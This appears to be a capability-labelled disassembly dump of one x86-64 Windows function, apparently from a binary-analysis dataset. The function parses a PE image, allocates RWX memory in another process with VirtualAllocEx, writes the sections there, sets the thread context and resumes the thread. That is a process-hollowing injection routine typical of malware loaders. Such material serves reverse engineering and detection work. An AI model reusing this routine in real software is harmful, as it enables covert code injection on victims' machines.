Function at 0x1401b2980
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports
Resume thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xc8
lea rbp, [rsp + 0x100]
xor eax, eax
mov qword [rbp - 0x60], rax
mov rsi, rcx
mov rdi, qword [rsi + 0x10]
mov rbx, rdi
cmp word [rbx], 0x5a4d
jne 0x1401b29c7
mov eax, dword [rbx + 0x3c]
cdqe
xor r14d, r14d
cmp word [rdi + rax + 0x18], 0x20b
sete r14b
jmp 0x1401b29ca
xor r14d, r14d
call fcn.14000164e
mov r15, rax
mov qword [rbp - 0x70], r15
mov byte [r15], r14b
xor r14d, r14d
xor r12d, r12d
movzx eax, byte [r15]
test eax, eax
je 0x1401b29f2
mov edx, dword [rbx + 0x3c]
movsxd r12, edx
add r12, rdi
jmp 0x1401b29fb
mov edx, dword [rbx + 0x3c]
movsxd r14, edx
add r14, rdi
test eax, eax
jne 0x1401b2a04
mov eax, dword [r14]
jmp 0x1401b2a08
mov eax, dword [r12]
cmp eax, 0x4550
jne 0x1401b34bc
call fcn.1401b2950
test eax, eax
jne 0x1401b2a23
mov ecx, 0x40
jmp 0x1401b2a28
mov ecx, 0x60
call fcn.1401b35e0
mov rdi, rax
call fcn.1401b2950
test eax, eax
jne 0x1401b2a40
mov ecx, 0x10
jmp 0x1401b2a45
mov ecx, 0x18
movsxd rcx, ecx
call fcn.140134a20
mov rbx, rax
mov qword [rbp - 0x40], rbx
xor ecx, ecx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rbx
mov qword [rbp + 0x10], rsi
mov rcx, qword [rsi + 8]
lea rdx, [0x14053a008]
xor r8d, r8d
xor r9d, r9d
call fcn.1401b3640
test eax, eax
je 0x1401b2e03
test rdi, 0xffffffffffff0000
je 0x1401b2ac9
mov rcx, rdi
mov qword [rbp - 0x80], rcx
lea rcx, [rbp - 0xb0]
call fcn.1400058c0
mov rcx, qword [rbp - 0x80]
call sub.KERNEL32.DLL_LocalFree
lea rcx, [rbp - 0xb0]
call fcn.140005910
mov r15, qword [rbp - 0x70]
cmp byte [r15], 0
jne 0x1401b33f3
mov ecx, dword [r14 + 0x34]
mov edi, ecx
mov rcx, rbx
mov rdx, rdi
call fcn.1401b3a70
mov r13, qword [rbx]
mov qword [rbp - 0x68], rbx
call fcn.1401b2950
test eax, eax
jne 0x1401b33fd
mov rcx, qword [rbp - 0x68]
mov edx, 4
movsxd rdx, edx
mov rax, qword [rcx + rdx]
mov qword [rbp - 0x48], rax
test r13, r13
je 0x1401b3335
test rax, rax
je 0x1401b3335
movzx ecx, byte [r15]
test ecx, ecx
jne 0x1401b340b
mov r8d, dword [r14 + 0x50]
test ecx, ecx
jne 0x1401b3415
mov r10d, dword [r14 + 0x54]
mov dword [rbp - 0x4c], r10d
test ecx, ecx
jne 0x1401b341f
movzx edx, word [r14 + 6]
movzx r11d, dx
mov dword [rbp - 0x50], r11d
test ecx, ecx
jne 0x1401b342a
mov r9d, dword [r14 + 0x28]
mov dword [rbp - 0x54], r9d
mov dword [rsp + 0x20], 0x40
mov rcx, r13
mov qword [rbp - 0x80], rcx
mov rdx, rdi
mov qword [rbp - 0x88], rdx
mov dword [rbp - 0x74], r8d
mov r9d, 0x3000
mov dword [rbp - 0x78], r9d
lea rcx, [rbp - 0xb0]
call fcn.1400058c0
mov rcx, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x88]
mov r8d, dword [rbp - 0x74]
mov r9d, dword [rbp - 0x78]
call sub.KERNEL32.DLL_VirtualAllocEx
mov rsi, rax
lea rcx, [rbp - 0xb0]
call fcn.140005910
lea r8, [rbp - 0x60]
mov qword [rsp + 0x20], r8
mov rdi, qword [rbp + 0x10]
mov r8, qword [rdi + 0x10]
mov rcx, r13
mov rdx, rsi
mov r9d, dword [rbp - 0x4c]
call fcn.1401b3930
test eax, eax
je 0x1401b3277
mov r15, qword [rbp - 0x70]
cmp byte [r15], 0
jne 0x1401b3434
add r14, 0xf8
xor r12d, r12d
cmp dword [rbp - 0x50], 0
jle 0x1401b2c48
lea r8, [rbp - 0x60]
mov qword [rsp + 0x20], r8
mov r8, qword [rdi + 0x10]
mov edx, dword [r14 + 0x14]
add r8, rdx
mov edx, dword [r14 + 0xc]
add rdx, rsi
mov r9d, dword [r14 + 0x10]
mov rcx, r13
call fcn.1401b3930
test eax, eax
je 0x1401b31b9
add r14, 0x28
inc r12d
mov ecx, dword [rbp - 0x50]
cmp r12d, ecx
mov dword [rbp - 0x50], ecx
jl 0x1401b2c07
cmp byte [r15], 0
jne 0x1401b3441
mov ecx, 0x2cc
movsxd rcx, ecx
call fcn.140134a20
mov rdi, rax
cmp byte [r15], 0
je 0x1401b344b
mov dword [rdi + 0x30], 0x10001b
cmp byte [r15], 0
jne 0x1401b3456
mov rcx, qword [rbp - 0x48]
mov rdx, rdi
call fcn.1401b37d0
test eax, eax
je 0x1401b30fb
mov r14d, dword [rdi + 0xa4]
mov r12, qword [rdi + 0x88]
mov rcx, rsi
call fcn.14009c640
mov rcx, r13
cmp byte [r15], 0
jne 0x1401b346f
add r14d, 8
movsxd rdx, r14d
lea r9, [rbp - 0x60]
mov qword [rsp + 0x20], r9
mov r9d, dword [rax + 8]
mov r8, rax
call fcn.1401b39c0
test eax, eax
je 0x1401b2f7f
cmp byte [r15], 0
je 0x1401b3479
mov r14d, dword [rbp - 0x54]
mov ecx, r14d
add rcx, rsi
mov qword [rdi + 0x80], rcx
cmp byte [r15], 0
jne 0x1401b348f
mov rcx, qword [rbp - 0x48]
mov rdx, rdi
call fcn.1401b38b0
test eax, eax
je 0x1401b2ec1
mov rcx, qword [rbp - 0x48]
mov qword [rbp - 0x88], rcx
lea rcx, [rbp - 0xb0]
call fcn.1400058c0
mov rcx, qword [rbp - 0x88]
call sub.KERNEL32.DLL_ResumeThread
lea rcx, [rbp - 0xb0]
call fcn.140005910
jmp 0x1401b34a8
lea rcx, [0x14055d780]
call fcn.14009f4b0
mov rsi, rax
lea rcx, [0x14043c320]
call fcn.140004c50
mov rdi, rax
mov rcx, rdi
call fcn.14007a7c0
mov rcx, rdi
mov edx, 2
call fcn.14007b220
mov rcx, rdi
mov edx, 2
call fcn.14007b280
lea rcx, [0x14055b3d8]
call fcn.14009f4b0
mov rdx, rax
mov rcx, rdi
call fcn.14007b0a0
mov rcx, rdi
call fcn.14007a8e0
mov rdi, rax
call fcn.140001edd
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x140562350]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x14043e148]
call fcn.140004c50
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004f60
mov rcx, rdi
call fcn.1400051b0
lea rcx, [0x14055a950]
call fcn.14009f4b0
mov rsi, rax
lea rcx, [0x14043c320]
call fcn.140004c50
mov rdi, rax
mov rcx, rdi
call fcn.14007a7c0
mov rcx, rdi
mov edx, 2
call fcn.14007b220
mov rcx, rdi
mov edx, 2
call fcn.14007b280
lea rcx, [0x14053ccd8]
call fcn.14009f4b0
mov rdx, rax
mov rcx, rdi
call fcn.14007b0a0
mov rcx, rdi
call fcn.14007a8e0
mov rdi, rax
call fcn.140001edd
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x140562350]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x14043e148]
call fcn.140004c50
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004f60
mov rcx, rdi
call fcn.1400051b0
lea rcx, [0x14054c5b8]
call fcn.14009f4b0
mov rsi, rax
lea rcx, [0x14043c320]
call fcn.140004c50
mov rdi, rax
mov rcx, rdi
call fcn.14007a7c0
mov rcx, rdi
mov edx, 2
call fcn.14007b220
mov rcx, rdi
mov edx, 2
call fcn.14007b280
lea rcx, [0x14053cc68]
call fcn.14009f4b0
mov rdx, rax
mov rcx, rdi
call fcn.14007b0a0
mov rcx, rdi
call fcn.14007a8e0
mov rdi, rax
call fcn.140001edd
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x140562350]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x14043e148]
call fcn.140004c50
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004f60
mov rcx, rdi
call fcn.1400051b0
lea rcx, [0x14055b650]
call fcn.14009f4b0
mov rsi, rax
lea rcx, [0x14043c320]
call fcn.140004c50
mov rdi, rax
mov rcx, rdi
call fcn.14007a7c0
mov rcx, rdi
mov edx, 2
call fcn.14007b220
mov rcx, rdi
mov edx, 2
call fcn.14007b280
lea rcx, [0x14055d710]
call fcn.14009f4b0
mov rdx, rax
mov rcx, rdi
call fcn.14007b0a0
mov rcx, rdi
call fcn.14007a8e0
mov rdi, rax
call fcn.140001edd
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x140562350]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x14043e148]
call fcn.140004c50
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004f60
mov rcx, rdi
call fcn.1400051b0
lea rcx, [0x14054cc58]
call fcn.14009f4b0
mov rsi, rax
lea rcx, [0x14043c320]
call fcn.140004c50
mov rdi, rax
mov rcx, rdi
call fcn.14007a7c0
mov rcx, rdi
mov edx, 2
call fcn.14007b220
mov rcx, rdi
mov edx, 2
call fcn.14007b280
lea rcx, [0x1405561b8]
call fcn.14009f4b0
mov rdx, rax
mov rcx, rdi
call fcn.14007b0a0
mov rcx, rdi
call fcn.14007a8e0
mov rdi, rax
call fcn.140001edd
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x140562350]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x14043e148]
call fcn.140004c50
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004f60
mov rcx, rdi
call fcn.1400051b0
lea rcx, [0x14055bd20]
call fcn.14009f4b0
mov rsi, rax
lea rcx, [0x14043c320]
call fcn.140004c50
mov rdi, rax
mov rcx, rdi
call fcn.14007a7c0
mov rcx, rdi
mov edx, 2
call fcn.14007b220
mov rcx, rdi
mov edx, 2
call fcn.14007b280
lea rcx, [0x14054dbf8]
call fcn.14009f4b0
mov rdx, rax
mov rcx, rdi
call fcn.14007b0a0
mov rcx, rdi
call fcn.14007a8e0
mov rdi, rax
call fcn.140001edd
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x140562350]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x14043e148]
call fcn.140004c50
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004f60
mov rcx, rdi
call fcn.1400051b0
lea rcx, [0x14055b448]
call fcn.14009f4b0
mov rsi, rax
lea rcx, [0x14043c320]
call fcn.140004c50
mov rdi, rax
mov rcx, rdi
call fcn.14007a7c0
mov rcx, rdi
mov edx, 2
call fcn.14007b220
mov rcx, rdi
mov edx, 2
call fcn.14007b280
lea rcx, [0x14054d1a0]
call fcn.14009f4b0
mov rdx, rax
mov rcx, rdi
call fcn.14007b0a0
mov rcx, rdi
call fcn.14007a8e0
mov rdi, rax
call fcn.140001edd
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x140562350]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x14043e148]
call fcn.140004c50
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004f60
mov rcx, rdi
call fcn.1400051b0
lea rcx, [0x14055b170]
call fcn.14009f4b0
mov rsi, rax
lea rcx, [0x14043c320]
call fcn.140004c50
mov rdi, rax
mov rcx, rdi
call fcn.14007a7c0
mov rcx, rdi
mov edx, 2
call fcn.14007b220
mov rcx, rdi
mov edx, 2
call fcn.14007b280
lea rcx, [0x14054cd70]
call fcn.14009f4b0
mov rdx, rax
mov rcx, rdi
call fcn.14007b0a0
mov rcx, rdi
call fcn.14007a8e0
mov rdi, rax
call fcn.140001edd
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x140562350]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x14043e148]
call fcn.140004c50
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004f60
mov rcx, rdi
call fcn.1400051b0
lea rcx, [0x1405499d0]
call fcn.14009f4b0
mov rsi, rax
lea rcx, [0x14043c320]
call fcn.140004c50
mov rdi, rax
mov rcx, rdi
call fcn.14007a7c0
mov rcx, rdi
mov edx, 2
call fcn.14007b220
mov rcx, rdi
mov edx, 2
call fcn.14007b280
lea rcx, [0x14054a258]
call fcn.14009f4b0
mov rdx, rax
mov rcx, rdi
call fcn.14007b0a0
mov rcx, rdi
call fcn.14007a8e0
mov rdi, rax
call fcn.140001edd
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x140562350]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x14043e148]
call fcn.140004c50
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004f60
mov rcx, rdi
call fcn.1400051b0
mov rdi, qword [r12 + 0x30]
jmp 0x1401b2add
mov rcx, qword [rbp - 0x68]
mov edx, 8
jmp 0x1401b2b05
mov r8d, dword [r12 + 0x50]
jmp 0x1401b2b32
mov r10d, dword [r12 + 0x54]
jmp 0x1401b2b3e
movzx edx, word [r12 + 6]
jmp 0x1401b2b4f
mov r9d, dword [r12 + 0x28]
jmp 0x1401b2b63
lea r14, [r12 + 0x108]
jmp 0x1401b2bfe
mov ecx, 0x4d0
jmp 0x1401b2c57
mov dword [rdi], 0x10002
jmp 0x1401b2c73
mov rcx, qword [rbp - 0x48]
mov rdx, rdi
call fcn.1401b3740
test eax, eax
je 0x1401b303d
jmp 0x1401b2c91
lea rdx, [r12 + 0x10]
jmp 0x1401b2cbb
mov r14d, dword [rbp - 0x54]
mov ecx, r14d
add rcx, rsi
mov qword [rdi + 0xb0], rcx
jmp 0x1401b2cf3
mov rcx, qword [rbp - 0x48]
mov rdx, rdi
call fcn.1401b3850
test eax, eax
je 0x1401b2d45
jmp 0x1401b2d11
add rsp, 0xc8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [0x140558ec0]
call fcn.14009f4b0
mov rbx, rax
lea rcx, [0x14043c320]
call fcn.140004c50
mov rsi, rax
mov rcx, rsi
call fcn.14007a7c0
mov rcx, rsi
mov edx, 2
call fcn.14007b220
mov rcx, rsi
mov edx, 2
call fcn.14007b280
lea rcx, [0x14055a6a8]
call fcn.14009f4b0
mov rdx, rax
mov rcx, rsi
call fcn.14007b0a0
mov rcx, rsi
call fcn.14007a8e0
mov rsi, rax
call fcn.140001edd
mov rdi, qword [rax + 8]
mov r9d, dword [rbx + 8]
mov rcx, rsi
mov rdx, rbx
lea r10, [0x140562350]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rdi
mov rax, qword [rdi]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x14043e148]
call fcn.140004c50
mov rdi, rax
mov rcx, rdi
call fcn.1400970f0
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004f60
mov rcx, rdi
call fcn.1400051b0
int3